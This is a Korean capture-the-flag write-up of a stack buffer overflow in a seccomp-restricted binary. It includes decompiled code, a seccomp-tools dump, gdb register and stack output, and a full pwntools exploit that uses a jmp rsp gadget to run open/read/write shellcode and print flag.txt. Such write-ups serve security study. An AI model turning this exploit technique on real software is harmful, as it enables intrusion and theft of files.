분석 환경: Windows 11, Ubuntu 20.04 사용자 제공 파일: 바이너리
해당 ctf에 pwn이 두 문제 나왔다. 이건 hard이다.
Analysis 보호 기법 1 2 3 4 5 6 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
아무것도 안걸려있다. 스택에서 쉘코드도 실행이 가능하다. 하지만 seccomp
이 걸려있지.. 쉘코드 실행이 선택적으로 가능하다.
취약점 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 __int64 __fastcall main (int a1, char **a2, char **a3) { __int64 buf[3 ]; int v5; buf[0 ] = 0LL ; buf[1 ] = 0LL ; puts ("Acces denied intruder detected!!" ); v5 = 1 ; seccomp(); if ( read(0 , buf, 0x38 uLL) <= 0 ) return 0LL ; if ( strncmp ("done" , (const char *)buf, 4uLL ) ) exit (0 ); return 0LL ; }
취약점은 간단하다. 바로 bof가 발생하는 것을 한 눈에 찾아볼 수 있다.
그리고 이 바이너리에서 중요한 점은 seccomp 함수가 정의되어 있다는 사실이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if ( prctl(38 , 1LL , 0LL , 0LL , 0LL ) ){ printf ("prctl(NO_NEW_PRIVS)" ); } else { if ( !prctl(22 , 2LL , &v1) ) return 0LL ; printf ("prctl(SECCOMP)" ); puts ("Test" ); } if ( *__errno_location() == 22 ){ puts ("SECCOMP_FILTER is not available. :(" ); exit (0 ); } if ( !*__errno_location() ) __asm { jmp rsp }
seccomp-tools
을 이용하여 편리하게 확인해보자.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 jir4vvit@ubuntu:~/ctf/dctf/destruction$ seccomp-tools dump ./destruction Acces denied intruder detected!! line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0006 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012: 0x06 0x00 0x00 0x00000000 return KILL
open
, read
, exit
, write
syscall을 사용할 수 있다. 즉,.. 쉘을 따는 문제가 아니라 flag를 ORW 해야하는 문제이다.
입력할 수 있는 바이트가 0x38인데 반해 buf
크기가 0x20이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 ────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────── *RAX 0x0 RBX 0x400910 ◂— push r15 *RCX 0xfff0 *RDX 0x4 *RDI 0x400a09 ◂— outsd dx, dword ptr fs:[rsi] /* 'done' */ RSI 0x7ffeb916ffe0 ◂— 0x41414100656e6f64 /* 'done' */ R8 0x0 R9 0x7c R10 0xfffffffffffff40f *R11 0x4 R12 0x4005c0 ◂— xor ebp, ebp R13 0x7ffeb91700f0 ◂— 0x1 R14 0x0 R15 0x0 *RBP 0x4141414141414141 ('AAAAAAAA') *RSP 0x7ffeb9170008 ◂— 0x4242424242424242 ('BBBBBBBB') *RIP 0x40090a ◂— ret ──────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────── 0x4008ef test eax, eax 0x4008f1 jne 0x4008fa <0x4008fa> 0x4008f3 mov eax, 0 0x4008f8 jmp 0x400909 <0x400909> ↓ 0x400909 leave ► 0x40090a ret <0x4242424242424242> ──────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────── 00:0000│ rsp 0x7ffeb9170008 ◂— 0x4242424242424242 ('BBBBBBBB') 01:0008│ 0x7ffeb9170010 ◂— 0x4343434343434343 ('CCCCCCCC') 02:0010│ 0x7ffeb9170018 —▸ 0x7ffeb91700f8 —▸ 0x7ffeb9170565 ◂— './destruction' 03:0018│ 0x7ffeb9170020 ◂— 0x190f647a0 04:0020│ 0x7ffeb9170028 —▸ 0x400886 ◂— push rbp 05:0028│ 0x7ffeb9170030 —▸ 0x400910 ◂— push r15 06:0030│ 0x7ffeb9170038 ◂— 0x29e4545047266017 07:0038│ 0x7ffeb9170040 —▸ 0x4005c0 ◂— xor ebp, ebp
당연하게도 ret 자리에 바로 쉘코드를 넣으면 안된다. jmp rsp
라는 좋은 가젯이 존재해서 그것을 사용해야 한다. 그러면 rsp
로 jump 하여 그 주소에 저장된 코드를 실행하려고 할 것이다. 만약 0x4242424242424242
대신 jmp rsp
가젯 주소를 넣는다면?
1 2 0x7ffeb9170008: 0x4141414141414141 0x0000000000400882 // jmp rsp 0x7ffeb9170010: 0x4343434343434343 ...
0x4343434343434343
가 실행될 것이다.
아무튼 이거에 유의해서 ret
에 jmp rsp
주소를 넣어주면 된다. 그러면 우리가 적을 수 있는 바이트 수는 오직 8바이트만이 남는다.
흔한 트릭은 큰 바이트를 입력할 수 있는 read
syscall을 호출하는 것이다. 이걸 8바이트로 구성하면 된다. read
syscall을 구성하는 데에는 3개의 인수가 필요하다. 아니 syscall인까 4개가 필요하다.
rax
, rdi
, rsi
, rdx
1 2 3 4 RAX 0x0 RDI 0x400a09 ◂— outsd dx, dword ptr fs:[rsi] /* 'done' */ RSI 0x7ffd095c5020 ◂— 0x41414100656e6f64 /* 'done' */ RDX 0x4
1 2 3 4 5 asm(''' xor rdi, rdi mov dh, 0x2 syscall ''')
dh
에 0x2를 대입하면 rdx
는 결국 0x00000204가 된다.
flag 위치는 문제에서 알려줬으니, 그 이후엔 seccomp에 명시된 syscall들을 사용하면서 편하게 ORW 하면 된다.
Exploit Exploit Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *context.arch='amd64' context.log_level='DEBUG' p = process('./destruction' ) e = ELF('./destruction' ) payload = '' payload += 'done\x00' payload += 'A' * (0x28 -len (payload)) payload += p64(0x400882 ) print (len (payload))payload += asm(''' xor rdi, rdi mov dh, 0x2 syscall ''' )sleep(1 ) p.send(payload) shellcode = '' shellcode += '\x90' *100 shellcode += asm(''' xor rdx, rdx xor rsi, rsi push rsi mov rax, 0x7478742e67616c66 push rax mov rdi, rsp mov rax, 0x2 syscall mov rdi, rax xor rax, rax mov rdx, 0x60 mov rsi, rsp syscall mov rax, 1 mov rdi, 1 syscall ''' )p.send(shellcode) p.interactive()
Reference Team P3WP3W’s writeups (no link)